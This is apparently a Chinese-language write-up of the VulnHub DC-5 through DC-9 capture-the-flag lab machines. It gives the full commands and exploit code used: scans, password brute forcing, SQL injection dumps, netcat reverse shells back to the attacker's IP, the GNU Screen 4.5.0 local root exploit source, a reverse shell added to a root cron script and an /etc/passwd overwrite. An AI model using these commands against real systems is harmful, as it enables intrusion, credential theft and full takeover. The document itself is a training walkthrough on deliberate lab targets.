基本信息收集 nmap -sS -A 192.168.124.0/24 Nmap scan report for 192.168.124.149 Host is up (0.00027s latency). Not shown: 998 closed ports PORT STATE SERVICE VERSION 80/tcp open http nginx 1.6.2 |_http-server-header: nginx/1.6.2 |_http-title: Welcome 111/tcp open rpcbind 2-4 (RPC #100000) | rpcinfo: | program version port/proto service | 100000 2,3,4 111/tcp rpcbind | 100000 2,3,4 111/udp rpcbind | 100000 3,4 111/tcp6 rpcbind | 100000 3,4 111/udp6 rpcbind | 100024 1 37412/udp status | 100024 1 49448/tcp6 status | 100024 1 49885/udp6 status |_ 100024 1 56530/tcp status MAC Address: 00:0C:29:1A:8C:74 (VMware) Device type: general purpose Running: Linux 3.X|4.X OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 OS details: Linux 3.2 - 4.9 Network Distance: 1 hop TRACEROUTE HOP RTT ADDRESS 1 0.27 ms 192.168.124.149 Nmap scan report for 192.168.124.254

发现开了80,111端口，操作系统是linux，nginx 1.6.2 对端口进一步探测

nmap -sS 192.168.124.149 -p 1-65535 Nmap scan report for 192.168.124.149 Host is up (0.00089s latency). Not shown: 65532 closed ports PORT STATE SERVICE 80/tcp open http 111/tcp open rpcbind 56530/tcp open unknown MAC Address: 00:0C:29:1A:8C:74 (VMware) Nmap done: 1 IP address (1 host up) scanned in 2.46 seconds

开了56530端口进入80端口查看 upload successful

发现一个留言功能

尝试了xss发现并没有扫描一下目录，发现特别的footer.php upload successful 访问发现日期总在变发现留言的地方的日期也总在变然后thankyou.php应该是包含了footer.php页面尝试文件包含读取thankyou.php文件和其他文件，发现能够成功读取

upload successful 尝试写入文件进行文件包含，能写入的文件像中间件日志文件，ssh登录的日志文件，临时文件等等参考之前的文件包含https://lnng.top/posts/6b68.html 这个还是尝试包含中间件的日志文件吧，因为ssh的登录端口不知，且其他的方法不好利用随便访问一个木马 upload successful 蚁剑连接发现连接成功

反弹交互shell

在/var/tmp/下新建phpshell文件，写入

kali端

nc -l -p 4444

反弹shell

python -c 'import pty;pty.spawn("/bin/bash")'

upload successful

提权

尝试suid提权

find / -perm -u=s -type f 2>/dev/null

upload successful GNU Screen是一款由GNU计划开发的用于命令行终端切换的自由软件。用户可以通过该软件同时连接多个本地或远程的命令行会话，并在其间自由切换。 GNU Screen可以看作是窗口管理器的命令行界面版本。它提供了统一的管理多个会话的界面和相应的功能。搜索漏洞

searchsploit screen 4.5.0

发现两个可利用的漏洞 upload successful 使用第一个先将41154.sh复制到桌面

cp /usr/share/exploitdb/exploits/linux/local/41154.sh 41154.sh cat 41154.sh #!/bin/bash # screenroot.sh # setuid screen v4.5.0 local root exploit # abuses ld.so.preload overwriting to get root. # bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html # HACK THE PLANET # ~ infodox (25/1/2017) echo "~ gnu/screenroot ~" echo "[+] First, we create our shell and library..." cat /tmp/libhax.c #include #include #include __attribute__ ((__constructor__)) void dropshell(void){ chown("/tmp/rootshell", 0, 0); chmod("/tmp/rootshell", 04755); unlink("/etc/ld.so.preload"); printf("[+] done!\n"); } EOF gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c rm -f /tmp/libhax.c cat /tmp/rootshell.c #include int main(void){ setuid(0); setgid(0); seteuid(0); setegid(0); execvp("/bin/sh", NULL, NULL); } EOF gcc -o /tmp/rootshell /tmp/rootshell.c rm -f /tmp/rootshell.c echo "[+] Now we create our /etc/ld.so.preload file..." cd /etc umask 000 # because screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" # newline needed echo "[+] Triggering..." screen -ls # screen itself is setuid, so...

这里告诉了我们使用方法先将第一部分写入libhax.c文件中

#include #include #include __attribute__ ((__constructor__)) void dropshell(void){ chown("/tmp/rootshell", 0, 0); chmod("/tmp/rootshell", 04755); unlink("/etc/ld.so.preload"); printf("[+] done!\n"); }

然后编译

gcc -fPIC -shared -ldl -o libhax.so libhax.c

upload successful 将中间的代码存入rootshell.c中

#include int main(void){ setuid(0); setgid(0); seteuid(0); setegid(0); execvp("/bin/sh", NULL, NULL); }

然后编译

gcc -o rootshell rootshell.c

upload successful 将剩余代码保存到dc5.sh

echo "[+] Now we create our /etc/ld.so.preload file..." cd /etc umask 000 # because screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" # newline needed echo "[+] Triggering..." screen -ls # screen itself is setuid, so... /tmp/rootshell

并输入:

set ff=unix

upload successful 将三个文件上传到/tmp文件中然后修改dc5.sh的权限

chmod 777 dc5.sh

然后执行

./dc5.sh

upload successful 读取flag

cat thisistheflag.txt 888b 888 d8b 888 888 888 888 8888b 888 Y8P 888 888 888 888 88888b 888 888 888 888 888 888Y88b 888 888 .d8888b .d88b. 888 888 888 .d88b. 888d888 888 888 888 888 888 888 Y88b888 888 d88P" d8P Y8b 888 888 888 d88""88b 888P" 888 .88P 888 888 888 888 Y88888 888 888 88888888 888 888 888 888 888 888 888888K Y8P Y8P Y8P 888 Y8888 888 Y88b. Y8b. Y88b 888 d88P Y88..88P 888 888 "88b " " " 888 Y888 888 "Y8888P "Y8888 "Y8888888P" "Y88P" 888 888 888 888 888 888 Once again, a big thanks to all those who do these little challenges, and especially all those who give me feedback - again, it's all greatly appreciated. :-) I also want to send a big thanks to all those who find the vulnerabilities and create the exploits that make these challenges possible. 参考文章

https://www.jianshu.com/p/8f6e1e4d44b9 https://www.anquanke.com/post/id/178958

DC6 基本环境搭建

靶机下载地址:https://download.vulnhub.com/dc/DC-6.zip

基本信息收集 nmap -sS -A 192.168.124.0/24 Nmap scan report for 192.168.124.150 Host is up (0.00049s latency). Not shown: 998 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0) | ssh-hostkey: | 2048 3e:52:ce:ce:01:b6:94:eb:7b:03:7d:be:08:7f:5f:fd (RSA) | 256 3c:83:65:71:dd:73:d7:23:f8:83:0d:e3:46:bc:b5:6f (ECDSA) |_ 256 41:89:9e:85:ae:30:5b:e0:8f:a4:68:71:06:b4:15:ee (ED25519) 80/tcp open http Apache httpd 2.4.25 ((Debian)) |_http-server-header: Apache/2.4.25 (Debian) |_http-title: Did not follow redirect to http://wordy/ |_https-redirect: ERROR: Script execution failed (use -d to debug) MAC Address: 00:0C:29:4C:2C:9C (VMware) Device type: general purpose Running: Linux 3.X|4.X OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 OS details: Linux 3.2 - 4.9 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.49 ms 192.168.124.150

发现开放了80，22ssh端口，操作系统linux 对端口进一步扫描

nmap -sS 192.168.124.150 -p 1-65535 Not shown: 65533 closed ports PORT STATE SERVICE 22/tcp open ssh 80/tcp open http

没有新的端口爆破一下ssh(爆破未成功)

nmap --script=ssh-brute 192.168.124.150 访问80端口

发现80端口访问不了，被重定向的wordy页面和之前一样修改本地的dns

linux: vim /etc/hosts windows: C:\Windows\System32\drivers\etc

添加

192.168.124.150 wordy

根据个人ip 插件识别是一个wordpress+apache环境 upload successful 那和之前一样用wpscan扫描

wpscan --url http://wordy/ --enumerate u

扫描出几个用户名

upload successful 将其保存到usename.txt文件然后有个提示妈耶鬼能想到提示地址:https://www.vulnhub.com/entry/dc-6,315/

cat /usr/share/wordlists/rockyou.txt | grep k01 > password.txt

然后进行爆破

wpscan --url http://wordy/ -U username.txt -P password.txt

upload successful 成功爆破出账号和密码

mark / helpdesk01

登录地址

http://wordy/wp-admin/

upload successful 搜索漏洞: https://www.exploit-db.com/exploits/45274

发现一个命令执行，漏洞地址 http://wordy/wp-admin/admin.php?page=plainview_activity_monitor&tab=activity_tools upload successful kali开启监听端口

netcat -l -p 4444

这个位置修改命令执行反弹shell upload successful

baidu.com | nc -e /bin/bash 192.168.124.139 4444

反弹一下交互shell

python -c 'import pty;pty.spawn("/bin/bash")'

upload successful

提权

在家目录发现提示的ssh登录

/home/mark/stuff

发现登录账号密码

Things to do: - Restore full functionality for the hyperdrive (need to speak to Jens) - Buy present for Sarah's farewell party - Add new user: graham - GSo7isUM1D4 - done - Apply for the OSCP course - Buy new laptop for Sarah's replacement

ssh登录 upload successful 尝试suid提取,发现没有可利用的

find / -perm -u=s -type f 2>/dev/null

查看当前用户可执行操作

sudo -l

upload successful 发现可操作/home/jens/backups.sh，打开发现是一个解压的脚本向其中写入命令然后已jens来执行

echo "/bin/bash" >> /home/jens/backups.sh sudo -u jens /home/jens/backups.sh

upload successful

发现成功切换到jens用户继续查看可执行的命令,发现可执行的root的nmap

sudo -l

upload successful 所以需要nmap打开一个shell即可获得root

nmap中执行shell方法

echo "os.execute('/bin/bash')">/tmp/shell.nse sudo nmap --script=/tmp/shell.nse cat ./theflag.txt

成功获得flag

Yb dP 888888 88 88 8888b. dP"Yb 88b 88 888888 d8b Yb db dP 88__ 88 88 8I Yb dP Yb 88Yb88 88__ Y8P YbdPYbdP 88"" 88 .o 88 .o 8I dY Yb dP 88 Y88 88"" `"' YP YP 888888 88ood8 88ood8 8888Y" YbodP 88 Y8 888888 (8) Congratulations!!! Hope you enjoyed DC-6. Just wanted to send a big thanks out there to all those who have provided feedback, and who have taken time to complete these little challenges. If you enjoyed this CTF, send me a tweet via @DCAU7. DC7 基本环境搭建

靶机下载地址:https://download.vulnhub.com/dc/DC-7.zip

基本信息收集 nmap -sS -A 192.168.124.0/24 Nmap scan report for 192.168.124.151 Host is up (0.00037s latency). Not shown: 998 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0) | ssh-hostkey: | 2048 d0:02:e9:c7:5d:95:32:ab:10:99:89:84:34:3d:1e:f9 (RSA) | 256 d0:d6:40:35:a7:34:a9:0a:79:34:ee:a9:6a:dd:f4:8f (ECDSA) |_ 256 a8:55:d5:76:93:ed:4f:6f:f1:f7:a1:84:2f:af:bb:e1 (ED25519) 80/tcp open http Apache httpd 2.4.25 ((Debian)) |_http-generator: Drupal 8 (https://www.drupal.org) | http-robots.txt: 22 disallowed entries (15 shown) | /core/ /profiles/ /README.txt /web.config /admin/ | /comment/reply/ /filter/tips /node/add/ /search/ /user/register/ | /user/password/ /user/login/ /user/logout/ /index.php/admin/ |_/index.php/comment/reply/ |_http-server-header: Apache/2.4.25 (Debian) |_http-title: Welcome to DC-7 | D7 MAC Address: 00:0C:29:52:A9:5B (VMware) Device type: general purpose Running: Linux 3.X|4.X OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 OS details: Linux 3.2 - 4.9 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.37 ms 192.168.124.151

发现开放了22，80端口系统linux，进一步扫描，没发现其他端口

nmap 192.168.124.151 -p 1-65535

爆破ssh

nmap --script=ssh-brute 192.168.124.151

查看80端口进行进一步信息的探测CMS是Drupal8，而且告诉我们不是暴力破解 upload successful

查找漏洞

尝试了msf中的漏洞不行exploit-db中根据版本来也不行百度一下说这个提示搜索一下这个人，然后发现了github，然后找到了源码github源码地址 upload successful 然后我们在config.php中发现了连接数据库的账号密码，尝试使用ssh连接,可以看到爆破前面爆破账号密码失败

upload successful

提取

先搜寻一下文件的基本信息,在mbox中发现一个root执行的文件(百度的妈耶看不到)

cat mbox

upload successful

cat /opt/scripts/backups.sh #!/bin/bash rm /home/dc7user/backups/* cd /var/www/html/ drush sql-dump --result-file=/home/dc7user/backups/website.sql cd .. tar -czf /home/dc7user/backups/website.tar.gz html/ gpg --pinentry-mode loopback --passphrase PickYourOwnPassword --symmetric /home/dc7user/backups/website.sql gpg --pinentry-mode loopback --passphrase PickYourOwnPassword --symmetric /home/dc7user/backups/website.tar.gz chown dc7user:dc7user /home/dc7user/backups/* rm /home/dc7user/backups/website.sql rm /home/dc7user/backups/website.tar.gz

发现应该是一个备份的sh脚本看一下权限www-data和root都是有权限的 upload successful 所以有思路了，如果我们获得www-data的权限向这个脚本执行任务，那么我们就可以反弹root权限，因为会以root权限定时启动看着这个备份脚本可以发现是一个drush配置的命令，它可以改变用户名密码

drush sql-dump --result-file=/home/dc7user/backups/website.sql

所以尝试修改一下密码

cd /var/www/html drush user-password admin --password="123456"

upload successful 登录尝试，登录成功发现这个位置是支持扩展的，所以我们想要创建一个webshell可以借助插件，看wp要去下载一个php的插件插件下载地址：https://www.drupal.org/project/php 下载gz格式上传，然后点如图的标识然后勾上下图的东西，点击最下方的install upload successful 回到主页，点击下图的东西，创建一个文章

upload successful 随便写个木马注意下面的text format要选择php code 然后蚁剑连接即可再反弹给kali吧，其实可以直接再webshell中反弹shell 反弹交互shell

python -c 'import pty;pty.spawn("/bin/bash")'

然后将反弹shell的脚本写入定时启动的sh中，反弹root的shell

echo "nc -e /bin/bash 192.168.124.139 7777" >> /opt/scripts/backups.sh

upload successful 读取flag

cd /root ls theflag.txt cat theflag.txt 888 888 888 888 8888888b. 888 888 888 888 888 o 888 888 888 888 "Y88b 888 888 888 888 888 d8b 888 888 888 888 888 888 888 888 888 888 d888b 888 .d88b. 888 888 888 888 .d88b. 88888b. .d88b. 888 888 888 888 888d88888b888 d8P Y8b 888 888 888 888 d88""88b 888 "88b d8P Y8b 888 888 888 888 88888P Y88888 88888888 888 888 888 888 888 888 888 888 88888888 Y8P Y8P Y8P Y8P 8888P Y8888 Y8b. 888 888 888 .d88P Y88..88P 888 888 Y8b. " " " " 888P Y888 "Y8888 888 888 8888888P" "Y88P" 888 888 "Y8888 888 888 888 888 Congratulations!!! Hope you enjoyed DC-7. Just wanted to send a big thanks out there to all those who have provided feedback, and all those who have taken the time to complete these little challenges. I'm sending out an especially big thanks to: @4nqr34z @D4mianWayne @0xmzfr @theart42 If you enjoyed this CTF, send me a tweet via @DCAU7. 参考文章

https://www.anquanke.com/post/id/187876#h3-3

DC8 基本环境搭建

靶机下载地址:https://download.vulnhub.com/dc/DC-8.zip

基本信息收集 Nmap scan report for 192.168.124.152 Host is up (0.00058s latency). Not shown: 998 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u1 (protocol 2.0) | ssh-hostkey: | 2048 35:a7:e6:c4:a8:3c:63:1d:e1:c0:ca:a3:66:bc:88:bf (RSA) | 256 ab:ef:9f:69:ac:ea:54:c6:8c:61:55:49:0a:e7:aa:d9 (ECDSA) |_ 256 7a:b2:c6:87:ec:93:76:d4:ea:59:4b:1b:c6:e8:73:f2 (ED25519) 80/tcp open http Apache httpd |_http-generator: Drupal 7 (http://drupal.org) | http-robots.txt: 36 disallowed entries (15 shown) | /includes/ /misc/ /modules/ /profiles/ /scripts/ | /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt | /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt |_/LICENSE.txt /MAINTAINERS.txt |_http-server-header: Apache |_http-title: Welcome to DC-8 | DC-8 MAC Address: 00:0C:29:AE:A9:C3 (VMware) Device type: general purpose Running: Linux 3.X|4.X OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 OS details: Linux 3.2 - 4.9 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.58 ms 192.168.124.152

查看发现了80，22端口，操作系统linux 进一步扫描,没发现其他端口

nmap 192.168.124.152 -p 1-65535

爆破ssh,无结果

nmap --script=ssh-brute 192.168.124.152

查看80端，cms Drupal 7 upload successful

漏洞利用

msf上的基本漏洞利用没效果，这里发现id尝试一下sql注入吧 upload successful 先尝试简单的报错注入吧，没有任何防护直接注入 sqlmap一把梭哈

http://192.168.124.152/?nid=1%20and%20updatexml(1,concat(0x7e,database()),1)# sqlmap -u http://192.168.124.152/?nid=1 -D d7db -T users --dump

成功报出，账号密码的hash值 upload successful

05:16:06] [INFO] resumed: 'admin' [05:16:06] [INFO] resumed: '1567489015' [05:16:06] [INFO] resumed: '[email protected]' [05:16:06] [INFO] resumed: '1567766626' [05:16:06] [INFO] resumed: '[email protected]' [05:16:06] [INFO] resumed: '$S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z' [05:16:06] [INFO] resumed: '0' [05:16:06] [INFO] resumed: '' [05:16:06] [INFO] resumed: 'filtered_html' [05:16:06] [INFO] resumed: '1' [05:16:06] [INFO] resumed: '' [05:16:06] [INFO] resumed: 'Australia/Brisbane' [05:16:06] [INFO] resumed: '1' [05:16:06] [INFO] resumed: '1567498512' [05:16:06] [INFO] resumed: 'a:5:{s:16:"ckeditor_default";s:1:"t";s:20:"ckeditor_show_toggle";s:1:"t";s:14:"ckeditor_width";s:4:... [05:16:06] [INFO] resumed: '' [05:16:06] [INFO] resumed: 'john' [05:16:06] [INFO] resumed: '1567489250' [05:16:06] [INFO] resumed: '[email protected]' [05:16:06] [INFO] resumed: '1567497783' [05:16:06] [INFO] resumed: '[email protected]' [05:16:06] [INFO] resumed: '$S$DqupvJbxVmqjr6cYePnx2A891ln7lsuku/3if/oRVZJaz5mKC2vF' [05:16:06] [INFO] resumed: '0' [05:16:06] [INFO] resumed: ''

爆破一下hash值,使用john这里提示了爆破成功了john的密码turtle

C:\root\Desktop> john pass.txt Using default input encoding: UTF-8 Loaded 1 password hash (Drupal7, $S$ [SHA512 128/128 AVX 2x]) No password hashes left to crack (see FAQ) C:\root\Desktop> john --show pass.txt john:turtle 1 password hash cracked, 0 left

扫描一下目录

dirb http://192.168.124.152

发现user目录是登录的地方

登录成功,发现这个位置可以添加php代码，直接尝试反弹shell

http://192.168.124.152/node/3#overlay=node/3/webform/configure

flag

然后这个页面随便输出什么点击提交等待反弹的shell upload successful 然后反弹交互shell

python -c 'import pty;pty.spawn("/bin/bash")' 提权

先尝试suid提权

find / -perm -u=s -type f 2>/dev/null www-data@dc-8:/var/www/html$ find / -perm -u=s -type f 2>/dev/null find / -perm -u=s -type f 2>/dev/null /usr/bin/chfn /usr/bin/gpasswd /usr/bin/chsh /usr/bin/passwd /usr/bin/sudo /usr/bin/newgrp /usr/sbin/exim4 /usr/lib/openssh/ssh-keysign /usr/lib/eject/dmcrypt-get-device /usr/lib/dbus-1.0/dbus-daemon-launch-helper /bin/ping /bin/su /bin/umount /bin/mount

upload successful 发现一个特别的exim4搜索一下漏洞尝试一下这个漏洞先复制出来

cp /usr/share/exploitdb/exploits/linux/local/46996.sh 46996.sh

处理为unix可以的

upload successful 开启一个服务或者你蚁剑连接上传

python -m SimpleHTTPServer

然后下载下来

wget http://192.168.124.139:8000/46996.sh

里面有使用说明 upload successful

chmod 777 46996.sh ./46996.sh -m netcat

upload successful

Brilliant - you have succeeded!!! 888 888 888 888 8888888b. 888 888 888 888 888 o 888 888 888 888 "Y88b 888 888 888 888 888 d8b 888 888 888 888 888 888 888 888 888 888 d888b 888 .d88b. 888 888 888 888 .d88b. 88888b. .d88b. 888 888 888 888 888d88888b888 d8P Y8b 888 888 888 888 d88""88b 888 "88b d8P Y8b 888 888 888 888 88888P Y88888 88888888 888 888 888 888 888 888 888 888 88888888 Y8P Y8P Y8P Y8P 8888P Y8888 Y8b. 888 888 888 .d88P Y88..88P 888 888 Y8b. " " " " 888P Y888 "Y8888 888 888 8888888P" "Y88P" 888 888 "Y8888 888 888 888 888 Hope you enjoyed DC-8. Just wanted to send a big thanks out there to all those who have provided feedback, and all those who have taken the time to complete these little challenges. I'm also sending out an especially big thanks to: @4nqr34z @D4mianWayne @0xmzfr @theart42 This challenge was largely based on two things: 1. A Tweet that I came across from someone asking about 2FA on a Linux box, and whether it was worthwhile. 2. A suggestion from @theart42 The answer to that question is... If you enjoyed this CTF, send me a tweet via @DCAU7. 参考文章

https://blog.csdn.net/weixin_43583637/article/details/102828013 https://fan497.top/2020/11/17/vulnhub-DC8/

DC9 基本环境搭建

靶机下载地址：https://download.vulnhub.com/dc/DC-9.zip

基本信息收集 nmap -sS -A 192.168.124.0/24 Nmap scan report for 192.168.124.153 Host is up (0.00041s latency). Not shown: 998 closed ports PORT STATE SERVICE VERSION 22/tcp filtered ssh 80/tcp open http Apache httpd 2.4.38 ((Debian)) |_http-server-header: Apache/2.4.38 (Debian) |_http-title: Example.com - Staff Details - Welcome MAC Address: 00:0C:29:20:FE:11 (VMware) Device type: general purpose Running: Linux 3.X|4.X OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 OS details: Linux 3.2 - 4.9 Network Distance: 1 hop TRACEROUTE HOP RTT ADDRESS 1 0.41 ms 192.168.124.153

开放了80，22ssh，操作系统linux

端口的进一步扫描(没发现新的端口)

nmap 192.168.124.153 -p 1-65535

爆破一下ssh

nmap --script=ssh-brute 192.168.124.153

查看80端口，说让我们看看你其他目录

upload successful 测试了一下manage功能似乎没有啥问题，再search的地方发现了sql注入 sqlmap直接跑一下,跑出三个数据库

sqlmap -u "http://192.168.124.153/results.php" --data "search=" --dbs

upload successful 继续跑表

users的 sqlmap -u "http://192.168.124.153/results.php" --data "search=" -D users --tables

upload successful

upload successful

Staff的 sqlmap -u "http://192.168.124.153/results.php" --data "search=" -D Staff --tables

报出了俩表

Database: Staff [2 tables] +--------------+ | StaffDetails | | Users | +--------------+ sqlmap -u "http://192.168.124.153/results.php" --data "search=" -D Staff -T Users --dump

Users的表

StaffDetails的表

sqlmap -u "http://192.168.124.153/results.php" --data "search=" -D Staff -T StaffDetails --dump Database: Staff Table: StaffDetails [17 entries] +------+-----------------------+----------------+------------+---------------------+-----------+-------------------------------+ | id | email | phone | lastname | reg_date | firstname | position | +------+-----------------------+----------------+------------+---------------------+-----------+-------------------------------+ | 2 | [email protected] | 46457131654 | Dooley | 2019-05-01 17:32:00 | Julie | Human Resources | | 17 | [email protected] | 47836546413 | Morrison | 2019-12-24 03:41:04 | Scott | Assistant Replacement Janitor | | 15 | [email protected] | 454786464 | McScoots | 2019-05-01 20:16:33 | Scooter | Resident Cat | | 13 | [email protected] | 8092432798 | Geller | 2019-05-01 17:32:00 | Monica | Marketing | | 11 | [email protected] | 823897243978 | Green | 2019-05-01 17:32:00 | Rachel | Personal Assistant | | 9 | [email protected] | 189024789 | Bing | 2019-05-01 17:32:00 | Chandler | President - Sales | | 7 | [email protected] | 243457487 | Flintstone | 2019-05-01 17:32:00 | Wilma | Accounts | | 5 | [email protected] | 802438797 | Cat | 2019-05-01 17:32:00 | Tom | Driver | | 3 | [email protected] | 46415323 | Flintstone | 2019-05-01 17:32:00 | Fred | Systems Administrator | | 1 | [email protected] | 46478415155456 | Moe | 2019-05-01 17:32:00 | Mary | CEO | | 16 | [email protected] | 65464646479741 | Trump | 2019-12-23 03:11:39 | Donald | Replacement Janitor | | 14 | [email protected] | 43289079824 | Buffay | 2019-05-01 17:32:02 | Phoebe | Assistant Janitor | | 12 | [email protected] | 6549638203 | Geller | 2019-05-01 17:32:00 | Ross | Instructor | | 10 | [email protected] | 232131654 | Tribbiani | 2019-05-01 17:32:00 | Joey | Janitor | | 8 | [email protected] | 90239724378 | Rubble | 2019-05-01 17:32:00 | Betty | Junior Accounts | | 6 | [email protected] | 24342654756 | Mouse | 2019-05-01 17:32:00 | Jerry | Stores | | 4 | [email protected] | 324643564 | Rubble | 2019-05-01 17:32:00 | Barney | Help Desk | +------+-----------------------+----------------+------------+---------------------+-----------+-------------------------------+

MD5解码一下password的密码

856f5de590ef37314e7c3bdf6f8a66dc

upload successful 密码

transorbital1

尝试登录,登录成功，发现这里提示File does not exist，估计是包含了某个文件，尝试文件包含,发现确实存在文件包含 upload successful 然后看来大佬的wp，发现一个没了解的地方

http://192.168.124.153/welcome.php?file=../../../../../../../../../etc/knockd.conf

upload successful 也就是说黑客进行直接扫描端口扫描不出来，只有进行固定knockd的访问才能打开查看配置文件发现需要连续访问的端口

[options] UseSyslog [openSSH] sequence = 7469,8475,9842 seq_timeout = 25 command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT tcpflags = syn [closeSSH] sequence = 9842,8475,7469 seq_timeout = 25 command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT tcpflags = syn

轮流敲

nmap 192.168.124.153 -p 7469 nmap 192.168.124.153 -p 8475 nmap 192.168.124.153 -p 9842

upload successful 将之前爆破的users的账号密码，提权出来进行ssh的爆破

cat UserDetails.csv | awk -F ',' '{print $4}' > username.txt

upload successful

cat UserDetails.csv | awk -F ',' '{print $NF}' > password.txt

upload successful

爆破ssh

hydra破解进行破解

hydra -L username.txt -P password.txt 192.168.124.153 ssh

成功爆破出三个用户 upload successful 登录janitor发现了隐藏文件将其加入到password中再次进行爆破成功多爆破出一个账号密码尝试登录

upload successful 看一下权限

sudo -l

upload successful 发现一个test文件执行了一下发现执行不了再上一层目录发现了源码代码的意思是将第一个文件的内容写入第二个文件中所以我们可以创建一个文件写入root权限的信息，然后用test将其写入到/etc/passwd中

echo "admin:*:0:0:::/bin/bash" >> /tmp/passwd

upload successful 然后利用test将/tmp/passwd的内容写入到/etc/passwd中

sudo ./test /tmp/passwd /etc/passwd fredf@dc-9:/opt/devstuff/dist/test$ su admin root@dc-9:/opt/devstuff/dist/test# whoami root root@dc-9:~# ls theflag.txt root@dc-9:~# cat theflag.txt ███╗ ██╗██╗ ██████╗███████╗ ██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗██╗██╗██╗ ████╗ ██║██║██╔════╝██╔════╝ ██║ ██║██╔═══██╗██╔══██╗██║ ██╔╝██║██║██║ ██╔██╗ ██║██║██║ █████╗ ██║ █╗ ██║██║ ██║██████╔╝█████╔╝ ██║██║██║ ██║╚██╗██║██║██║ ██╔══╝ ██║███╗██║██║ ██║██╔══██╗██╔═██╗ ╚═╝╚═╝╚═╝ ██║ ╚████║██║╚██████╗███████╗ ╚███╔███╔╝╚██████╔╝██║ ██║██║ ██╗██╗██╗██╗ ╚═╝ ╚═══╝╚═╝ ╚═════╝╚══════╝ ╚══╝╚══╝ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚═╝╚═╝╚═╝ Congratulations - you have done well to get to this point. Hope you enjoyed DC-9. Just wanted to send out a big thanks to all those who have taken the time to complete the various DC challenges. I also want to send out a big thank you to the various members of @m0tl3ycr3w . They are an inspirational bunch of fellows. Sure, they might smell a bit, but...just kidding. :-) Sadly, all things must come to an end, and this will be the last ever challenge in the DC series. So long, and thanks for all the fish. 参考文章

https://www.cnblogs.com/yurang/p/13709536.html

说明

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